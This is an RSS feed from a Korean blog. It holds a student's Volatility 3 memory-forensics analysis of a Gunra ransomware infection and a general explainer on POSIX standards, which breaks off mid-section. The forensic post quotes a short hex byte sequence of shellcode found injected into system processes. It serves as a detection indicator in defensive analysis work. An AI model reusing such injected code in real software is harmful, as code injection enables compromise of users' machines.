<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>Starry, Serene Night</title>
        <link>https://velog.io/</link>
        <description>안드로이드는 리눅스의 꿈을 꾸는가</description>
        <lastBuildDate>Sat, 26 Jul 2025 23:35:05 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <image>
            <title>Starry, Serene Night</title>
            <url>https://velog.velcdn.com/images/lilac_21/profile/d3edf23f-45ea-4f1b-9b21-4c6052856cc8/image.jpg</url>
            <link>https://velog.io/</link>
        </image>
        <copyright>Copyright (C) 2019. Starry, Serene Night. All rights reserved.</copyright>
        <atom:link href="https://v2.velog.io/rss/lilac_21" rel="self" type="application/rss+xml"/>
        <item>
            <title><![CDATA[Gunra - Memory Forensic]]></title>
            <link>https://velog.io/@lilac_21/Gunra-Memory-Forensic</link>
            <guid>https://velog.io/@lilac_21/Gunra-Memory-Forensic</guid>
            <pubDate>Sat, 26 Jul 2025 23:35:05 GMT</pubDate>
            <description><![CDATA[<h1 id="분석-개요">분석 개요</h1>
<h2 id="상황-설정">상황 설정</h2>
<ul>
<li>피해자는 인터넷을 통해 악성코드가 담긴 실행파일을 전송받음</li>
<li>해당 실행파일을 눌러 랜섬웨어에 감염됨</li>
<li>피해자는 PC의 감염 시점에 이상함을 느끼고 메모리 덤프를 추출함</li>
<li>감염이 진행되고, 문서의 암호화와 README 파일의 추출까지 끝난 시점에 추가적으로 메모리 덤프를 1번 더 수행해, 디지털 포렌식을 공부중인 (---)에게 분석을 의뢰함</li>
</ul>
<h2 id="분석-대상-및-환경">분석 대상 및 환경</h2>
<ul>
<li>분석 대상: win7.vmem</li>
<li>분석 환경: WSL - Ubuntu 24.04 LTS(Host: Windows 11 Pro)</li>
<li>분석 도구: Volatility 3 Framework 2.26.0</li>
</ul>
<hr>
<h1 id="분석-시작">분석 시작</h1>
<h2 id="프로세스-확인">프로세스 확인</h2>
<h3 id="pslist">pslist</h3>
<p><img src="https://velog.velcdn.com/images/lilac_21/post/f45d5389-34bc-4f11-99a0-8a0281e0dc2a/image.png" alt=""></p>
<ul>
<li>다수의 시스템 프로세스와 함께 <code>a82e496b7b5279</code>라는 이름의 특이 프로세스를 확인</li>
<li>PPID 값으로 미루어 보아 explorer.exe, 즉 파일 탐색기에 의해 실행된 것으로 보임</li>
</ul>
<h3 id="psscan">psscan</h3>
<ul>
<li>은닉된 프로세스를 식별해내기 위해 추가적으로 수행</li>
</ul>
<p><img src="https://velog.velcdn.com/images/lilac_21/post/b83edaae-29da-4e64-bec5-34ad85742e15/image.png" alt=""></p>
<ul>
<li>pslist로 발견한 <code>a82e496b7b5279</code> 프로세스에 더하여 <code>gPtrA</code> 라는 이름의 특이 프로세스를 발견함</li>
</ul>
<h4 id="gptra---특이사항">gPtrA - 특이사항</h4>
<ul>
<li><strong>PID / PPID</strong><ul>
<li>125632099516416 / 121424303320932</li>
<li>의도적으로 조작된 듯한, 특이적인 값</li>
</ul>
</li>
<li><strong>threads</strong><ul>
<li>131072</li>
<li>예외적인 상황을 고려하더라도 일반적으로는 나타나지 않는, 비정상적인 숫자의 스레드 개수를 식별함</li>
</ul>
</li>
<li><strong>Wow64</strong><ul>
<li>True</li>
<li>이 자체로 문제 될 것은 없으나, 32bit 기반으로 동작한다는 점 또한 특이사항에 해당함</li>
</ul>
</li>
<li><strong>Timestamp</strong><ul>
<li>2008-08-17 14:20:24.000000 UTC</li>
<li>시스템 시간(2025-07-25 03:28:02.000000 UTC)과 상당히 괴리된 값</li>
<li>의도적으로 Timestomping이 가해진 형태로 보임</li>
</ul>
</li>
</ul>
<h3 id="cmdline">cmdline</h3>
<p><img src="https://velog.velcdn.com/images/lilac_21/post/779765e2-dbd7-4f27-bf02-14a15e7795d2/image.png" alt=""></p>
<ul>
<li><code>a82e496b7b5279</code> 프로세스의 실행 기록을 확인 가능</li>
<li>바탕화면에 위치한 악성 실행파일을 실행시킨 것이 감염의 직접적인 원인으로 보임</li>
</ul>
<h3 id="malfind">malfind</h3>
<p><img src="https://velog.velcdn.com/images/lilac_21/post/aaba1860-48fc-4ffe-8e1e-f4073573a67f/image.png" alt=""></p>
<ul>
<li>malfind로 프로세스 메모리 내 의심스러운 실행 권한 메모리 영역(PAGE_EXECUTE_READWRITE 등)을 탐색</li>
</ul>
<h4 id="의심-정황-1">의심 정황 1</h4>
<ul>
<li><code>svchost.exe</code>, <code>explorer.exe</code>, <code>wmpnetwk.exe</code>의 메모리 영역들에서 동일한 형태의 쉘 코드가 반복됨</li>
<li><code>41 ba 80 00 00 00 48 b8 38 a1 da fd fe 07 00 00 48 ff 20 90</code></li>
<li>공격에 자주 이용되는 <code>svchost.exe</code>, <code>explorer.exe</code> 를 대상으로 코드 인젝션 공격이 이루어졌을 수 있겠음을 의심</li>
</ul>
<h4 id="의심-정황-2">의심 정황 2</h4>
<ul>
<li>대부분의 시스템 프로세스는 <code>PAGE_EXECUTE_READWRITE</code> 권한을 갖지 않음</li>
<li>하지만 다음 프로세스들에 <code>PAGE_EXECUTE_READWRITE</code> 권한이 부여됨<ul>
<li><code>svchost.exe</code> (PID 812, 788)</li>
<li><code>explorer.exe</code>(PID 1928)</li>
<li><code>wmpnetwk.exe</code>(PID 2068)</li>
<li><code>SearchFilterHost.exe</code>(PID 2148)</li>
</ul>
</li>
<li>사용자 권한의 프로세스에 실행 가능한 메모리 영역이 있다는 건 상당히 부자연스러움</li>
<li>코드 인젝션이 일어났을 가능성을 배제할 수 없음</li>
</ul>
<h3 id="driverscan">driverscan</h3>
<p><img src="https://velog.velcdn.com/images/lilac_21/post/98bc6d24-002c-4626-abdd-813babc4383b/image.png" alt=""></p>
<ul>
<li>드라이버 단에서 rootkit이 있는지 확인하기 위해 driverscan을 수행</li>
</ul>
<h4 id="의심-정황-1-1">의심 정황 1</h4>
<blockquote>
<ul>
<li><code>0x7e6cd2b0</code><ul>
<li>Name: <code>\Driver\Win32k</code></li>
<li>Start: <code>0xf96000010000</code>, Size: <code>0x0</code></li>
</ul>
</li>
</ul>
</blockquote>
<blockquote>
<ul>
<li><code>0x7ffc2e70</code><ul>
<li>Name: <code>\Driver\PnpManager</code></li>
<li>Start: <code>0xf80002a0d000</code>, Size: <code>0x0</code></li>
</ul>
</li>
</ul>
</blockquote>
<blockquote>
<ul>
<li><code>0x7ffed290</code><ul>
<li>Name: <code>\Driver\ACPI_HAL</code></li>
<li>Start: <code>0xf80002ff7000</code>, Size: <code>0x0</code></li>
</ul>
</li>
</ul>
</blockquote>
<blockquote>
<ul>
<li><code>0x7ffee290</code><ul>
<li>Name: <code>\Driver\WMIxWDM</code></li>
<li>Start: <code>0xf80002a0d000</code>, Size: <code>0x0</code></li>
</ul>
</li>
</ul>
</blockquote>
<ul>
<li>총 4개 항목이 드라이버 메모리 크기가 0</li>
<li>누수 등으로 인한 오류거나 변조/후킹된 드라이버일 가능성 존재</li>
</ul>
<h4 id="의심-정황-2-1">의심 정황 2</h4>
<blockquote>
<ul>
<li><code>0x7ff48570</code>:<ul>
<li>Service Key: <code>-</code>, Driver Name: <code>RAW</code>, Path: <code>\FileSystem\RAW</code></li>
</ul>
</li>
</ul>
</blockquote>
<ul>
<li>검색 결과, RAW로 나타나는 건 파티션이 손상되어 읽어올 수 없는 경우라고 함</li>
<li>덤프 당시 디스크의 상태가 비정상적으로 손상되었을 가능성을 배제한다면 위장 드라이버일 가능성이 존재한다</li>
</ul>
<h4 id="의심-정황-3">의심 정황 3</h4>
<blockquote>
<ul>
<li><code>\Driver\PnpManager</code> (0x7ffc2e70)</li>
<li><code>\Driver\WMIxWDM</code> (0x7ffee290)</li>
</ul>
</blockquote>
<ul>
<li>보통의 경우에는 드라이버는 고유한 메모리 공간을 사용</li>
<li>그러나 이 두 드라이버는 start 주소를 공유한다</li>
<li>두 드라이버 모두 오류가 발생해 이름만 할당되고(사이즈 0) 또 오류가 발생해 같은 start 주소를 가지게 될 경우를 배제한다면... 메모리 오버레이 / 후킹 / 은닉 기법 등이 가능해 보인다</li>
</ul>
<hr>
<p><strong>\Driver\PnpManager 라는 드라이버는 존재하지 않는다</strong></p>
<hr>
<ul>
<li>추가적인 이상징후 판단이 어렵다고 판단, 초기에 식별한 <code>a82e496b7b5279</code> 프로세스로 돌아간다</li>
</ul>
<h3 id="filescan">filescan</h3>
<p><img src="https://velog.velcdn.com/images/lilac_21/post/ade1bf83-da22-4f78-abfe-05301c19785d/image.png" alt=""></p>
<ul>
<li><code>0x7df345c0</code> 주소에 <code>a82e496b7b5279</code> 프로세스를 트리거한 실행 파일이 존재함을 확인했다</li>
</ul>
<h3 id="dumpfiles">dumpfiles</h3>
<p><img src="https://velog.velcdn.com/images/lilac_21/post/a0bcbc22-4e52-4a24-9ac2-2eaefe2d9a6c/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/lilac_21/post/3ddd246b-1207-4ed4-95b9-b1ebb6d29874/image.png" alt=""></p>
<ul>
<li>추출한 .dat / .img 파일 모두에서, 해당 실행파일이 gunra ransomware임이 높은 신뢰도로 추정된다</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[Daily CS) POSIX]]></title>
            <link>https://velog.io/@lilac_21/Daily-CS-POSIX</link>
            <guid>https://velog.io/@lilac_21/Daily-CS-POSIX</guid>
            <pubDate>Thu, 01 May 2025 15:14:41 GMT</pubDate>
            <description><![CDATA[<h1 id="posix">POSIX</h1>
<blockquote>
<p>Portable Operating System InterFace (for Unix)</p>
</blockquote>
<p><img src="https://velog.velcdn.com/images/lilac_21/post/0f6c7aa7-503e-4c1d-a2b7-04e70a3aff5d/image.png" alt=""></p>
<p>오늘의 주제는 POSIX이다. 그간 Daily CS를 쓰거나 다른 주제를 공부할 때마다 스쳐 지나가듯 접한 단어인데, 어제 Daily CS를 작성하며 이것도 한번 주제로 다뤄보고 싶어져 주제로 선정하게 되었다.</p>
<hr>
<h2 id="1-posix의-정의와-역사적-배경">1. POSIX의 정의와 역사적 배경</h2>
<h3 id="11-posix의-탄생-배경-및-필요성">1.1 POSIX의 탄생 배경 및 필요성</h3>
<p><strong>POSIX(Portable Operating System Interface)</strong> 는 UNIX 계열 운영체제 간의 호환성을 확보하고, 응용 프로그램이 여러 운영체제 상에서 동일하게 동작할 수 있도록 하기 위해 제정된 표준이다. POSIX는 <strong>IEEE(Institute of Electrical and Electronics Engineers)</strong> 가 제정한 <strong>IEEE 1003 시리즈</strong>의 총칭이며, 국제표준화기구(ISO), 미국표준협회(ANSI)와도 조화를 이룬 표준체계이다.</p>
<p>1970~1980년대 UNIX 시스템은 AT&amp;T의 System V, BSD(Berkeley Software Distribution), Xenix 등 다양한 분파로 갈라졌으며, 운영체제별로 시스템 호출 및 명령어 구조가 달라지기 시작했다. 이로 인해 <strong>동일한 소스코드를 운영체제마다 따로 수정해야 하는 비효율성</strong>이 문제가 되었다.</p>
<p>이에 대응하여, 다음과 같은 필요성에 의해 POSIX가 탄생하였다:</p>
<ul>
<li><strong>API 및 셸 명령어 표준화</strong>: 소프트웨어 개발자가 하나의 인터페이스만으로 다양한 운영체제에서 작동 가능한 프로그램을 작성할 수 있도록 함.</li>
<li><strong>운영체제 간의 이식성 보장</strong>: 다양한 하드웨어 및 OS 플랫폼 간 이식성(portability)을 보장하여 산업 표준으로 기능함.</li>
<li><strong>정부 및 공공기관 도입 확대</strong>: 미 국방부(DOD), 미 연방 정부(GSA) 등이 UNIX 시스템에 POSIX 준수를 요구하면서 POSIX의 중요성이 증가함.</li>
</ul>
<p>POSIX는 최초에 <strong>IEEE의 P1003 프로젝트</strong>로 시작되었고, 1988년 <strong>POSIX.1 (IEEE Std 1003.1)</strong> 이 공식 발표되며 POSIX라는 명칭이 본격적으로 사용되었다. POSIX는 그 자체가 특정 운영체제를 지칭하지 않으며, <strong>운영체제가 지켜야 할 API와 셸 인터페이스의 표준 사양</strong>을 정의하는 것이다.</p>
<h3 id="12-ieee-1003-표준-시리즈와-iso-표준과의-관계">1.2 IEEE 1003 표준 시리즈와 ISO 표준과의 관계</h3>
<p>POSIX 표준은 <strong>IEEE 1003 시리즈</strong>로 정식 관리되며, 각 번호는 특정 영역의 기능 또는 인터페이스를 정의한다. POSIX는 <strong>국제 표준화 기구 ISO/IEC</strong> 와도 호환되며, 일부는 ISO/IEC 9945 표준으로도 병행 채택되었다.</p>
<p>다음은 IEEE와 ISO의 대응 관계 예시이다:</p>
<table>
<thead>
<tr>
<th><strong><em>IEEE 명칭</em></strong></th>
<th><strong><em>ISO/IEC 대응 표준 명칭</em></strong></th>
<th><strong><em>설명</em></strong></th>
</tr>
</thead>
<tbody><tr>
<td>IEEE Std 1003.1</td>
<td>ISO/IEC 9945-1</td>
<td>기본 API: 파일, 프로세스, 시그널 등</td>
</tr>
<tr>
<td>IEEE Std 1003.2</td>
<td>ISO/IEC 9945-2</td>
<td>셸(command interpreter) 및 유틸리티 정의</td>
</tr>
<tr>
<td>IEEE Std 1003.1b</td>
<td>ISO/IEC 9945-1 Amendment</td>
<td>실시간 기능 확장 (Real-time Extensions)</td>
</tr>
<tr>
<td>IEEE Std 1003.1c</td>
<td>포함됨 (9945-1 내부)</td>
<td>POSIX 스레드(pthreads) 표준</td>
</tr>
</tbody></table>
<p>IEEE 표준은 기술적 상세에 강점을 두고 있으며, ISO는 국제적인 공공조달과 법적 체계와의 연계성을 중시한다. 대부분의 운영체제(예: Linux, FreeBSD, macOS)는 이 POSIX 사양에 일정 수준 이상 호환되도록 설계되어 있다.</p>
<blockquote>
<p>IEEE Std 1003.1-2024: <a href="https://standards.ieee.org/ieee/1003.1/7700/">https://standards.ieee.org/ieee/1003.1/7700/</a> =&gt; POSIX.1-2024
IEEE Std 1003.1-2017: <a href="https://standards.ieee.org/ieee/1003.1/7101/">https://standards.ieee.org/ieee/1003.1/7101/</a> =&gt; POSIX.1-2017</p>
</blockquote>
<blockquote>
<p>ISO/IEC 9945-1:2003: <a href="https://www.iso.org/standard/38789.html">https://www.iso.org/standard/38789.html</a> =&gt; POSIX.1-2003
ISO/IEC/IEEE 9945:2009: <a href="https://www.iso.org/standard/50516.html">https://www.iso.org/standard/50516.html</a> =&gt; POSIX.1-2008</p>
</blockquote>
<h3 id="13-주요-posix-표준-문서10031-10032-등의-구성">1.3 주요 POSIX 표준 문서(1003.1, 1003.2 등)의 구성</h3>
<p>POSIX는 다양한 분야의 시스템 동작을 표준화하기 위해 여러 세부 표준으로 분화되어 있으며, 주요 구성은 다음과 같다.</p>
<table>
<thead>
<tr>
<th><strong><em>표준명</em></strong></th>
<th><strong><em>주요 내용</em></strong></th>
</tr>
</thead>
<tbody><tr>
<td>POSIX.1 (1003.1)</td>
<td>시스템 인터페이스 API (파일 조작, 프로세스 제어, 시그널, errno 등)</td>
</tr>
<tr>
<td>POSIX.2 (1003.2)</td>
<td>셸 언어(sh, bash 등) 및 유틸리티 명령어(cat, grep, ls 등)의 표준화</td>
</tr>
<tr>
<td>POSIX.1b</td>
<td>실시간 운영체제를 위한 타이머, 시그널 큐, 공유 메모리 등 실시간 기능 포함</td>
</tr>
<tr>
<td>POSIX.1c</td>
<td>POSIX 스레드(pthreads) 표준 정의</td>
</tr>
<tr>
<td>POSIX.1d</td>
<td>스케줄링 및 프로세스 우선순위 제어 기능</td>
</tr>
<tr>
<td>POSIX.1j/k/q</td>
<td>추가적인 실시간 확장 및 보완 기능</td>
</tr>
</tbody></table>
<p>POSIX 표준은 기본적으로 <strong>C 프로그래밍 언어를 기반으로 한 시스템 호출 계층</strong>을 규정하고 있으며, 운영체제가 POSIX 호환성을 만족하려면 이 인터페이스들을 구현해야 한다.</p>
<p>표준 문서는 일반적으로 다음과 같은 섹션으로 구성된다:</p>
<ul>
<li><strong>서론 및 목적 정의</strong></li>
<li><strong>용어 및 정의</strong></li>
<li><strong>기능 사양 (function prototype, behavior, errors 등)</strong></li>
<li><strong>샘플 코드와 예외 처리 규칙</strong></li>
<li><strong>표준 준수 요구 조건</strong></li>
</ul>
<p>현재 POSIX 표준은 Austin Group의 관리를 통해 지속적으로 유지되며, 최근에는 POSIX Issue 7 (The Open Group Base Specifications Issue 7, IEEE Std 1003.1-2017)이 최신판으로 채택되고 있다.</p>
<hr>
<h2 id="2-posix의-핵심-구성-요소">2. POSIX의 핵심 구성 요소</h2>
<h3 id="21-파일-시스템-인터페이스와-디렉터리-구조">2.1 파일 시스템 인터페이스와 디렉터리 구조</h3>
<p>POSIX는 파일 시스템에 대한 인터페이스를 매우 명확히 정의하고 있으며, 이는 UNIX 계열 시스템에서 일반적으로 사용되는 구조와 일치한다. 다음과 같은 특징을 가진다:</p>
<ul>
<li><p><strong>단일 계층 파일 시스템</strong>: 모든 자원은 파일 시스템의 형태로 접근 가능하다. 예를 들어, 장치 파일(<code>/dev/tty</code>)도 일반 파일처럼 접근된다.</p>
</li>
<li><p><strong>파일 및 디렉터리 구조</strong>: POSIX는 <code>/</code> (root)를 기준으로 하는 계층적 구조를 따른다. 이는 UNIX의 전통적인 구조와 동일하다.</p>
</li>
<li><p><strong>표준 API</strong>:</p>
<ul>
<li><code>open()</code>, <code>read()</code>, <code>write()</code>, <code>close()</code> 등으로 파일을 조작.</li>
<li><code>mkdir()</code>, <code>rmdir()</code>, <code>opendir()</code>, <code>readdir()</code> 등을 통한 디렉터리 조작.</li>
<li><code>stat()</code>, <code>chmod()</code>, <code>chown()</code> 등으로 메타데이터 접근 및 변경.</li>
</ul>
</li>
<li><p><strong>경로 처리</strong>: POSIX는 절대 경로(<code>&quot;/usr/bin/bash&quot;</code>)와 상대 경로(<code>&quot;./config&quot;</code>)를 모두 지원하며, <code>.</code> 및 <code>..</code>과 같은 디렉터리 이동 기호도 지원한다.</p>
</li>
</ul>
<p>이 구조 덕분에 다양한 플랫폼에서 응용 프로그램이 동일한 방식으로 파일을 처리할 수 있다.</p>
<h3 id="22-프로세스-및-스레드-모델">2.2 프로세스 및 스레드 모델</h3>
<p>POSIX는 프로세스 및 스레드 관리에 대한 표준 API를 제공한다. 주요 특징은 다음과 같다:</p>
<ul>
<li><p><strong>프로세스 생성 및 관리</strong>:</p>
<ul>
<li><code>fork()</code>를 통해 부모 프로세스를 복제하여 자식 프로세스를 생성.</li>
<li><code>exec()</code> 계열 함수(<code>execve</code>, <code>execl</code>, 등)를 통해 새로운 프로그램을 실행.</li>
<li><code>wait()</code> 또는 <code>waitpid()</code>를 통해 자식 프로세스의 종료를 감시.</li>
</ul>
</li>
<li><p><strong>프로세스 ID 및 사용자 정보 접근</strong>:</p>
<ul>
<li><code>getpid()</code>, <code>getppid()</code>, <code>getuid()</code>, <code>getgid()</code> 등의 API를 통해 프로세스 및 사용자 정보를 획득.</li>
</ul>
</li>
<li><p><strong>POSIX 스레드(Pthreads)</strong>:</p>
<ul>
<li><code>pthread_create()</code>, <code>pthread_join()</code>을 사용해 스레드를 생성하고 동기화.</li>
<li><code>pthread_mutex_t</code>, <code>pthread_cond_t</code>, <code>pthread_rwlock_t</code> 등을 사용한 스레드 간 동기화.</li>
</ul>
</li>
<li><p><strong>동시성 제어</strong>:</p>
<ul>
<li>세마포어(<code>sem_init</code>, <code>sem_wait</code>, <code>sem_post</code>) 및 뮤텍스 등 고수준 동기화 도구 제공.</li>
</ul>
</li>
</ul>
<p>POSIX 스레드는 커널 또는 사용자 수준에서 구현될 수 있으며, 프로세스 내 자원을 공유하면서 독립적으로 실행 가능하다.</p>
<h3 id="23-시그널-처리-ipc-inter-process-communication">2.3 시그널 처리, IPC (Inter-Process Communication)</h3>
<p>POSIX는 프로세스 간 통신과 비동기 이벤트 처리에 대해 다양한 메커니즘을 표준화하고 있다.</p>
<h4 id="시그널-처리">시그널 처리</h4>
<ul>
<li><p><strong>시그널의 개념</strong>: 특정 이벤트(예: segmentation fault, 종료 요청 등)에 대해 비동기적으로 프로세스에 전달되는 메시지.</p>
</li>
<li><p><strong>API</strong>:</p>
<ul>
<li><code>signal()</code>, <code>sigaction()</code>을 통해 시그널 핸들러를 등록.</li>
<li><code>kill()</code>을 통해 시그널 전송.</li>
<li><code>sigprocmask()</code>, <code>sigpending()</code> 등을 통해 시그널 블로킹 제어.</li>
</ul>
</li>
</ul>
<h4 id="ipc-메커니즘">IPC 메커니즘</h4>
<p>POSIX는 다음과 같은 IPC 방식을 정의한다:</p>
<ul>
<li><p><strong>파이프(pipe) / 이름 있는 파이프(FIFO)</strong>:</p>
<ul>
<li>익명 파이프: <code>pipe()</code> 함수로 생성, 부모-자식 간 통신에 적합.</li>
<li>FIFO: <code>mkfifo()</code> 함수로 생성된 이름 있는 파이프.</li>
</ul>
</li>
<li><p><strong>메시지 큐(message queue)</strong>:</p>
<ul>
<li><code>msgget()</code>, <code>msgsnd()</code>, <code>msgrcv()</code> 등을 사용.</li>
</ul>
</li>
<li><p><strong>공유 메모리(shared memory)</strong>:</p>
<ul>
<li><code>shm_open()</code>, <code>mmap()</code>, <code>shm_unlink()</code> 등을 통해 프로세스 간 메모리 영역 공유.</li>
</ul>
</li>
<li><p><strong>세마포어(semaphore)</strong>:</p>
<ul>
<li><code>sem_open()</code>, <code>sem_wait()</code>, <code>sem_post()</code> 등으로 접근.</li>
</ul>
</li>
<li><p><strong>소켓(socket)</strong>:</p>
<ul>
<li>로컬 도메인 소켓(UNIX 도메인)을 통한 IPC도 POSIX에서 다룬다.</li>
</ul>
</li>
</ul>
<h3 id="24-io-모델-및-파일-디스크립터-처리-방식">2.4 I/O 모델 및 파일 디스크립터 처리 방식</h3>
<p>POSIX의 입출력 시스템은 UNIX의 전통적인 &quot;모든 것은 파일이다&quot; 철학에 기반하며, <strong>파일 디스크립터(file descriptor)</strong> 중심으로 동작한다.</p>
<ul>
<li><p><strong>파일 디스크립터 기반 모델</strong>:</p>
<ul>
<li>모든 리소스(파일, 소켓, 파이프 등)는 정수형 파일 디스크립터로 표현된다.</li>
<li><code>0</code>(stdin), <code>1</code>(stdout), <code>2</code>(stderr) 등이 기본 디스크립터.</li>
</ul>
</li>
<li><p><strong>Blocking I/O와 Non-blocking I/O</strong>:</p>
<ul>
<li>기본적으로 시스템 호출은 블로킹이다. 하지만 <code>fcntl()</code>을 통해 <code>O_NONBLOCK</code> 플래그를 설정하면 논블로킹 동작이 가능하다.</li>
</ul>
</li>
<li><p><strong>Multiplexing</strong>:</p>
<ul>
<li><code>select()</code>, <code>poll()</code>, <code>epoll()</code> (Linux 확장)을 통해 여러 디스크립터에 대한 이벤트 감시 가능.</li>
</ul>
</li>
<li><p><strong>I/O 재지향 및 복제</strong>:</p>
<ul>
<li><code>dup()</code>, <code>dup2()</code> 함수를 통해 디스크립터를 복제하거나 재지정 가능. 이는 셸에서 <code>&gt;</code> 같은 기능의 기반이다.</li>
</ul>
</li>
</ul>
<p>이러한 표준화 덕분에, POSIX 호환 시스템에서는 동일한 방식으로 모든 리소스에 접근하고 관리할 수 있다.</p>
<hr>
<h2 id="3-posix-api와-프로그래밍-모델">3. POSIX API와 프로그래밍 모델</h2>
<h3 id="31-posix-시스템-호출sys_call-및-c-라이브러리-인터페이스">3.1 POSIX 시스템 호출(SYS_CALL) 및 C 라이브러리 인터페이스</h3>
<p>POSIX는 운영 체제의 핵심 기능을 활용하기 위한 일련의 <strong>시스템 호출(System Call)</strong> 인터페이스를 정의하고 있으며, 이들은 대부분 <strong>C 표준 라이브러리(libc)</strong> 또는 <strong>glibc</strong>와 같은 구현을 통해 제공된다.</p>
<h4 id="시스템-호출-개요">시스템 호출 개요</h4>
<ul>
<li><strong>정의</strong>: 시스템 호출은 커널과 사용자 공간 간의 인터페이스로, 사용자 공간에서 운영 체제 기능(예: 파일 입출력, 메모리 관리 등)을 호출하는 방법이다.</li>
<li><strong>POSIX는 이들 시스템 호출의 이름, 매개변수, 동작 방식, 오류 코드 등을 표준화하였다.</strong></li>
</ul>
<h4 id="주요-posix-시스템-호출-예시">주요 POSIX 시스템 호출 예시</h4>
<table>
<thead>
<tr>
<th><strong><em>기능 영역</em></strong></th>
<th><strong><em>대표 함수들</em></strong></th>
</tr>
</thead>
<tbody><tr>
<td>파일 I/O</td>
<td><code>open()</code>, <code>read()</code>, <code>write()</code>, <code>close()</code>, <code>lseek()</code></td>
</tr>
<tr>
<td>파일 메타정보</td>
<td><code>stat()</code>, <code>chmod()</code>, <code>unlink()</code>, <code>rename()</code></td>
</tr>
<tr>
<td>메모리 관리</td>
<td><code>mmap()</code>, <code>munmap()</code>, <code>brk()</code></td>
</tr>
<tr>
<td>프로세스</td>
<td><code>fork()</code>, <code>exec()</code>, <code>wait()</code>, <code>exit()</code></td>
</tr>
<tr>
<td>사용자/그룹</td>
<td><code>getuid()</code>, <code>setgid()</code>, <code>seteuid()</code>, <code>getgroups()</code></td>
</tr>
<tr>
<td>시간 관련</td>
<td><code>time()</code>, <code>gettimeofday()</code>, <code>nanosleep()</code></td>
</tr>
<tr>
<td>신호 처리</td>
<td><code>kill()</code>, <code>signal()</code>, <code>sigaction()</code></td>
</tr>
</tbody></table>
<h4 id="시스템-호출과-c-라이브러리">시스템 호출과 C 라이브러리</h4>
<ul>
<li>POSIX 시스템 호출은 <strong>glibc, musl libc 등 C 라이브러리</strong>에서 래퍼 함수로 제공된다.</li>
<li>예: <code>printf()</code>는 표준 C 함수지만 내부적으로는 <code>write()</code> 시스템 호출을 사용한다.</li>
<li><code>errno</code>를 통해 오류 상황을 세부적으로 파악할 수 있으며, 이는 POSIX에서 정의한 표준 오류 코드 집합을 따른다.</li>
</ul>
<h3 id="32-posix-스레드pthread-모델과-동기화-메커니즘">3.2 POSIX 스레드(pthread) 모델과 동기화 메커니즘</h3>
<p><strong>Pthreads (POSIX Threads)</strong> 는 POSIX.1c 표준(IEEE Std 1003.1c-1995)으로 정의된 스레드 프로그래밍 API이다. 다중 처리기 환경 또는 비동기 처리를 위해 스레드 기반 병렬 프로그래밍을 가능하게 한다.</p>
<h4 id="기본-구조">기본 구조</h4>
<ul>
<li><strong>스레드 생성</strong>: <code>pthread_create()</code> 함수를 사용하여 새로운 스레드를 생성한다.</li>
<li><strong>스레드 종료 및 회수</strong>: <code>pthread_exit()</code>로 종료하고, <code>pthread_join()</code>을 통해 종료 시점을 기다릴 수 있다.</li>
</ul>
<pre><code class="language-c">pthread_t tid;
pthread_create(&amp;tid, NULL, thread_function, NULL);
pthread_join(tid, NULL);</code></pre>
<h4 id="동기화-메커니즘">동기화 메커니즘</h4>
<p>스레드는 동일한 주소 공간을 공유하므로 <strong>동기화</strong>가 필수적이다. POSIX는 다음과 같은 동기화 도구를 제공한다:</p>
<ul>
<li><strong>뮤텍스(Mutex)</strong>: <code>pthread_mutex_t</code>, <code>pthread_mutex_lock()</code>, <code>pthread_mutex_unlock()</code></li>
<li><strong>조건 변수(Condition Variable)</strong>: <code>pthread_cond_t</code>, <code>pthread_cond_wait()</code>, <code>pthread_cond_signal()</code></li>
<li><strong>읽기-쓰기 락(Read-Write Lock)</strong>: <code>pthread_rwlock_t</code>, 읽기/쓰기 접근을 분리하여 성능 개선</li>
<li><strong>배리어(Barrier)</strong>: <code>pthread_barrier_t</code>, 여러 스레드가 특정 지점에 도달할 때까지 대기</li>
</ul>
<h4 id="스레드-속성">스레드 속성</h4>
<ul>
<li><code>pthread_attr_t</code>를 통해 detach 상태, stack size, scheduling policy 등의 설정이 가능하다.</li>
<li><code>pthread_self()</code>를 사용하면 현재 실행 중인 스레드의 ID를 얻을 수 있다.</li>
</ul>
<h3 id="33-실시간-확장posix1b의-개요와-적용-사례">3.3 실시간 확장(POSIX.1b)의 개요와 적용 사례</h3>
<p>POSIX.1b는 <strong>실시간 시스템(Real-time Systems)</strong> 을 위한 확장으로, 시간 제약을 가지는 시스템에서도 예측 가능하고 신뢰성 있게 동작할 수 있도록 다양한 기능을 표준화하였다.</p>
<h4 id="핵심-기능">핵심 기능</h4>
<table>
<thead>
<tr>
<th>기능 영역</th>
<th>설명</th>
</tr>
</thead>
<tbody><tr>
<td>정밀한 시간 측정</td>
<td><code>clock_gettime()</code>, <code>nanosleep()</code></td>
</tr>
<tr>
<td>실시간 스케줄링</td>
<td><code>SCHED_FIFO</code>, <code>SCHED_RR</code>, <code>SCHED_OTHER</code> 스케줄링 정책과 <code>sched_setscheduler()</code></td>
</tr>
<tr>
<td>타이머</td>
<td><code>timer_create()</code>, <code>timer_settime()</code>을 통한 고정 간격 타이머 생성</td>
</tr>
<tr>
<td>우선순위 관리</td>
<td>스레드 우선순위 기반 실행 제어</td>
</tr>
</tbody></table>
<h4 id="적용-사례">적용 사례</h4>
<ul>
<li><strong>산업 제어 시스템</strong>: PLC (Programmable Logic Controller), 공정 제어 등</li>
<li><strong>로봇 제어</strong>: 실시간 응답이 중요한 자율주행 로봇, 드론 등</li>
<li><strong>멀티미디어 스트리밍</strong>: 오디오 및 비디오 재생의 끊김 없는 처리를 위해</li>
<li><strong>의료기기</strong>: 실시간 센서 데이터 수집 및 알람 시스템</li>
</ul>
<h4 id="주의사항">주의사항</h4>
<ul>
<li>리눅스는 POSIX.1b의 거의 모든 기능을 <strong>glibc</strong> 또는 <strong>RT_PREEMPT 패치</strong>를 통해 지원하지만, 완전한 실시간성을 확보하려면 <strong>RTOS(RTEMS, VxWorks 등)</strong> 사용이 필요할 수도 있다.</li>
</ul>
<hr>
<h2 id="4-posix-호환성-및-시스템-구현">4. POSIX 호환성 및 시스템 구현</h2>
<h3 id="41-주요-posix-호환-운영체제linux-bsd-macos-qnx-등">4.1 주요 POSIX 호환 운영체제(Linux, BSD, macOS, QNX 등)</h3>
<h4 id="linux">Linux</h4>
<ul>
